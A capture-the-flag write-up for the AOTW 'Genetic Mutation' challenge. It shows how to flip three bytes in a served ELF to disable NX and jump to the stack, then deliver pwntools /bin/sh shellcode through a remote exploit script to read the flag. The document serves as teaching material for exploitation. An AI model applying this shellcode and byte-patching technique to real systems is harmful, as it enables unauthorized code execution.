Rating:
# Genetic Mutation
## Task
Lets quickly check out what the task is.
```shell
nc 3.93.128.89 1206
We just rescued an elf that was captured by The Grinch
for his cruel genetic experiments.
But we were late, the poor elf was already mutated.
Could you help us restore the elf's genes?
Here is the elf's current DNA, zlib compressed and
then hex encoded:
==================================================
78daed597d6c14c7159fddf3d977c63e1fc4800da42c14abd0e0c52660cc57f19dbfd6d1d9b86027218959af7d6bdf29f761eded051b55099501f5044e911a55fc93c851850a6ad5baff51a40a535728fdf803da546dd3b4a255a01088ea8886d234f83ab33bb3de99dbc5a46aff63a4dbb7f39bf7debc997933f7e6ed6bad91369ee300291ef015806a75c566bd09e353d5160bc41a811f3e9f04ab00622bb2f1b1f43e47539fd58f29d7c89b7596ae0234e56cd40bdccb68294d01102c3964eb64b9894e960b141dc1fd8ef2b41c8fe5a6b0dc14e62774161b36cb8caf08ff7ab03e96b6009a1661da7d5d8fa277c18fad60e82e405322f75528570c1ebd0431dd87fb739b977e6c2fa1641d3625e2030d5b3625a2b589782a3b5a3bdad850dbb045cca4c5cd864d41ccdbded56bad376fb3b91263a8fdbd6fdf78a5f3dc991767e4d8f2938dab7fd97d23ddcd61790e7cbed26fad1c5d9e84bf250ef85a17bcc105ff9a8bfe452efc552ef809173d5fc236151438df83687a1b802c8f68f1943e240fc65e06ea685c0723593d03345589c2b6c151451e8aa79444fcb00aab484ccee88aa6cb49259e02ed918e70b3bc597c5adc62bd6f16b702b9a3a7538eaa9a3a1ccfe8aad6d3d99c48a7d41e652081b40c27d329ac4536591d19f18ee18d95f6184fdedab7bcb196c4eff4eab81ff14818cbae40751ef400da0fc97eaa2b31e959069fc54eef0bd238a9ffbec2a4c58c2f5db3e14536fca60db79f33b336dc67c3efdb70bf0d3f8ff112db1ca0326dc33d36fc1d1b6edfc7576c78890d97c6eff8a413de9a520148c7a6753e7f451aff996f06e4b7feda2f807ccdbbf059b1ba09bea17a0c89dcba9687a5e617a88ea6e2d615a3fe53544726de9a36ea17501d99766bcaa823f9a153a4dffa8f3a72570f4ab9bf4ae31fcc76f74426bca550569a28ff1687c8ee1b9027bff43894f947c5ea16033a072bbdd284f76d48a5edf7a5dc75bd1a9afe82df34bdbc2f7f6d48ac587dd4d0df3783ac9eaf43f938629cd83a60a8d93007e5a54b731e29372b5dbab947e22e4b57e7f42aa8700d56588614bae93bb2bb1ab281ec26697cf73f7df0ad17d953269dd8fd29acdd2c8723be29c1c765efc7b0ce21f12348eeeecc90311ec4de776b0872847a433dbdfba5afdf390d9ba3d289a29af5c8dedcd175df40f3342de5fef663e4d977a5efc1417c867c2b3d97cf43f9c844f23529773b947b3fb4e1ce05ce90faf345c3fbfa20c7919da5fa22697c868b6cbf9d7defb6af73f083f0e5a275004dfac4d6df40b68b48e6bc21b00ba99cd87d1dbd07e1bba9a601be99f6869e0b3ddb91fb1d32363251f303afb114b588ee0fe51e74e4ee45365c377ce9d203cfcdef3e80ca8e7da40bf57f24f315c97d1ac9dd6bc9fd3d94af7c1f19256dff53f643e46b2ff6855e0af5850e86e49953f3f37b7706fba6e18de6be37d6514d24d2821e8327cc46e1504cd1857846184b673521a524d53da05d53553d9e1ace0835998d4242d585a42a642080980445c8a453c33be07ffa73aa70289e8961b453d5b431a1391683675152c9943ab76aa87594694d50ad50564945a18ca48cbc302674a9878403aaa2ad01dc4acfce5d2406f82c9f476b0be0344da1730bd2e7215d0167fb1db4b721bd8fce2ae81d4df8b0a924e7dfe17d801b0d722bcb4a7ca7b89260258e6d90cea76cfbda991f8075985f80fcdd8821106c0b543d53b1e890ef08d8b362e7979f5eb796c8a39842827cf6736a23fcbd047fcf409b2711100e0427f870a0eaa42714108e178502ebc7bded8169ce16979c446382fc2ae6ff26e27fddd31a10268ac281f527bd52a0ee78b114681c2fe90c346981c650a00eea090704c807f9c3019f71b6bf8b5c12eae1c1e3f2b83c2e9fa790b887c4391c731f2a23f1060e5670180f7af0e6af66e2a99580bea7ac00745cb58a69ff642e9f46f434debc24263a8b831712ab9cc7ede4da75c6161793381895a5ccf8480c3459317fdf2271bcfd3c24b1cf724c9ff7d2f8e922daee694cfd4cff5f60c6f7efbc393e0e4373b81ec3faf2f3ede63ae07a176eff17ae7bfe4feb4fee996cb981c77f0fd362bc10cb8affbb7e48bcdcdedcbc4358df3b904de959619bb845acabadcf1ab5fa57eb1bc5ba2d62fd06135f58a707ce5a23ef84f3d63d98c63d4077c48b2cffa371afe577345e6cf9278d9758eb46e33e6bbd69dc6ff9158d975afe47e38bac7d48e365e08a235e0e8462273c60e55f68bcc2dad7341e04fd8ef8622b6f40e34b40bf23fe84754ed078a5753ed0f85247fff48065d67ea671b87b834e7815083ae2d5051867dcd73eceb37899717604403f336f018c4f32f81a8ccf32f836a38f797bc8be6f33de0be72189f5d495d07ac60cfec2f93ced62bfdbb8de32da9600bdb470bd9cf8bf6f3c9f28b0f327869ec2f5ba8cf9593bff603c0bfde78ea1a7707d790ee53902a0db07a8737c09e79ce7386ce085fe2072cef912144f07213feb2765067fe1be6877d173c0051fc5fa597b8eb9d8ff06c417f3cbad739394b7116edb8fe4f898c2f3730dfb894afe378dfc4715a862f4bc8af9c93940ee08d39cc9cfcec3af30ff0eac7f12e3575dc67bdb057f80c7c5eaf7f3cef3f045de395f75c1d0ef701e0e6a7a46cf0e0d8983603edd24eb497910e591324096a3697938911e501272544f6b1959c98e82c17472045e0ad5a8b8ad61fb36672694f68acb8aa62963b29ad2b53130a4c1bba51ccd26936350c4569321a74eb1aa0964912cb7ed0b75b6caad5d2d28d145b34581dc72a02bd4d9d14cb718793108b577f5caad12d620b5ec03727b646f381491f7b6b5ed6fed917b42e148ab4c72728399ac61f043336f28b1d7d444e5e9d4a8a22b46b28f6960537d6c3392b36ca5137a7234939663f0028c927d1d7b6143349e92b319356ab7160d19d6073219acc64828dab391f35da2f4224a4db246c0d191c975cd22d2394c5a03103363495d198054d74c1a236fd00a551b01622aadab6228dc51ab2bc3b8369cca8a03d978225a1b8f02a3165332312046c752509f4975cd6c7945d532f1748aaac8b04d53130a62c46f23091d7509a704bd8ac369f8a2aba3f069acaaa8a58d8512d51876bc58549baf99a2a6039912e41df6a024e383f0c51087b30d44e8fd49e8a6ff8b787225feaf21e7b3db7717c0dc33acfdcee434d9ef1a42c17f145dea197912ef11ba6e01799497b807636e224fe2c2d38cfd5e26ce27a50bdf4978e6de42e82c0054bed8c7dc1f9e65be65903893d0330bccdf417ca720f2241e25b492b19f67e8cbf88e42ea246e25b4cec57eeb7f17cf29cfdc9b089d76993f32fea3583eccdcc308edb7c92f73907fddf62dce7e6f2574f902eb9f63e4495c4d68b7cb772e42df60e449fc4d283b5f3e86bec9c893ff6742d7f2cefd93f21d469ec42d84fa1718ff3966ff923883d06917fb49f91123eff67dd1adff8b6cff7e9a56710fefffe73826f700f67be3a3cdff6fe1afc2264fe2dcb38f28ff173cf71ec07ecfa5bfe3163372415bfcce39e42d262b68ff77ebff4346de8a3783cefec28e671663449ec469c1a0333f7bfe7c8231f6fa4ee49f7291b753a73c6e5390de072bb12e76fffb5d722523cb4cba877fb8fd8b5de47f883b985b60fcff011d63bdbd
==================================================
You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 1
Which byte to mutate? 1
What to set the byte to? 1
Alright - let's see what the elf has to say.
==================================================
sh: 1: /var/tmp/tmp7JD9G1mutated_elf: Exec format error
```
We are presented with a hex encoded and zlib compressed DNA of a elf which is in fact just and ELF file.
We are allowed to modify up to 4 bytes of the ELF before it is executed.
In another attempt I entered some data to see what the executable does without modifying a byte and letting it crash:
```shell
==================================================
You may mutate up to 4 bytes of the elf.
How many bytes to mutate (0 - 4)? 0
Alright - let's see what the elf has to say.
==================================================
Hello World
Hello there, what is your name?
Greetings Hello World, let me sing you a song:
We wish you a Merry Chhistmas
We wish you a Merry Christmxs
We wish you alMerry Christmas
and a HapZy New Year!
```
It just greets the used with his name and a christmas song. In this case the name was "Hello World".
## Analysis
Lets extract the ELF and take a look at it.
```shell
$ echo "78daed597 .... e47f883b985b60fcff011d63bdbd" | xxd -r -p >day6.bin
$ file day6.bin
day6.bin: zlib compressed data
$ zlib-flate -uncompress <day6.bin >day6.elf
$ file day6.elf
day6.elf: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, missing section headers
```
Analysing the ELF in ipython
```python
In [2]: from pwn import *In [3]: e=ELF("day6.elf")
[*]
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments
FORTIFY: EnabledIn [4]: e.disable_nx()
```
The stack is not executable and analysing the ELF in radare shows that the name we enter ends up on the stack.
The obvious thing to do is to send some shellcode to the stack and make the stack executable and modify the ELF to jump
onto the stack and execute code from there.
Let's see if this is doable with with 4 bytes (turns out we only need to modify 3 bytes).
## Attack
First lets generate some shellcode with pwntools
### Generate shellcode
```python
from pwn import *
context.arch = 'amd64'
context.word_size=64
context.endian = 'little'
context.os = 'linux'
binsh=shellcraft.amd64.linux.sh()
launch=asm(binsh)
```
We get following shellcode to just launch a shell
```python
In [4]: binsh
Out[4]: u" /* execve(path='/bin///sh', argv=['sh'], envp=0) */\n /* push '/bin///sh\\x00' */\n push 0x68\n mov rax, 0x732f2f2f6e69622f\n push rax\n mov rdi, rsp\n /* push argument array ['sh\\x00'] */\n /* push 'sh\\x00' */\n push 0x1010101 ^ 0x6873\n xor dword ptr [rsp], 0x1010101\n xor esi, esi /* 0 */\n push rsi /* null terminate */\n push 8\n pop rsi\n add rsi, rsp\n push rsi /* 'sh\\x00' */\n mov rsi, rsp\n xor edx, edx /* 0 */\n /* call execve() */\n push SYS_execve /* 0x3b */\n pop rax\n syscall\n"
In [5]: launch
Out[5]: 'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
```
### Disable NX for the stack and jumping onto the stack
Inspecting the code with radare we want to replace for example the instruction
`0x000007ae lea rsi, qword [0x00000888]` (which loads the addr of the greeting string) by `jmp rbp` which jumps to the stack and executes code from there.
Again we can use pwntools for help. Playing with ipython gives us:
```python
from pwn import *
e=ELF("day6.elf")
e.disable_nx()
e.asm(0x7ae,'jmp rbp')
```
However this mofifies too many bytes where the jmp instruction uses 2 bytes and disable nx used up 3 more bytes.
We modify the ELF header and disable the NX by "manually modifying a byte in the ELF header.
We set change the byte at offset 0x1c8 to 0. This has the same effect as `e.disable_nx()`. It disables NX in the ELF files PT_GNU_STACK field.
Writing the modified ELF to a file and binaary diffing it with the original one gives us the offsets we need to patch.
Putting all together into an ugly python script which just sends the commands to modify the 3 bytes described above results into this:
```python
from pwn import *
conn = remote('3.93.128.89',1206)
conn.recvuntil('to mutate (0 - 4)?')
conn.sendline('3')
conn.recvuntil('Which byte to mutate?')
conn.sendline('456')
conn.recvuntil('What to set the byte to?')
conn.sendline('00')
conn.recvuntil('Which byte to mutate?')
conn.sendline('1966')
conn.recvuntil('What to set the byte to?')
conn.sendline('255')
conn.recvuntil('Which byte to mutate?')
conn.sendline('1967')
conn.recvuntil('What to set the byte to?')
conn.sendline('229')
conn.recvuntil("==================================================")
context.arch = 'amd64'
context.word_size=64
context.endian = 'little'
context.os = 'linux'
binsh=shellcraft.amd64.linux.sh()
nops=10*asm(shellcraft.nop()) #add some nops for paranoia reasons
launch=asm(binsh)
conn.sendline(nops+launch)
conn.interactive()
```
The result is that we end up with a shell were we can easily extract the flag.
```shell
python day6.py
[+] Opening connection to 3.93.128.89 on port 1206: Done
[*] Switching to interactive mode
$ ls
chal.py
elf
flag.txt
$ cat flag.txt
AOTW{turn1NG_an_3lf_int0_a_M0nst3r?}$
```
The flag is:
**AOTW{turn1NG_an_3lf_int0_a_M0nst3r?}**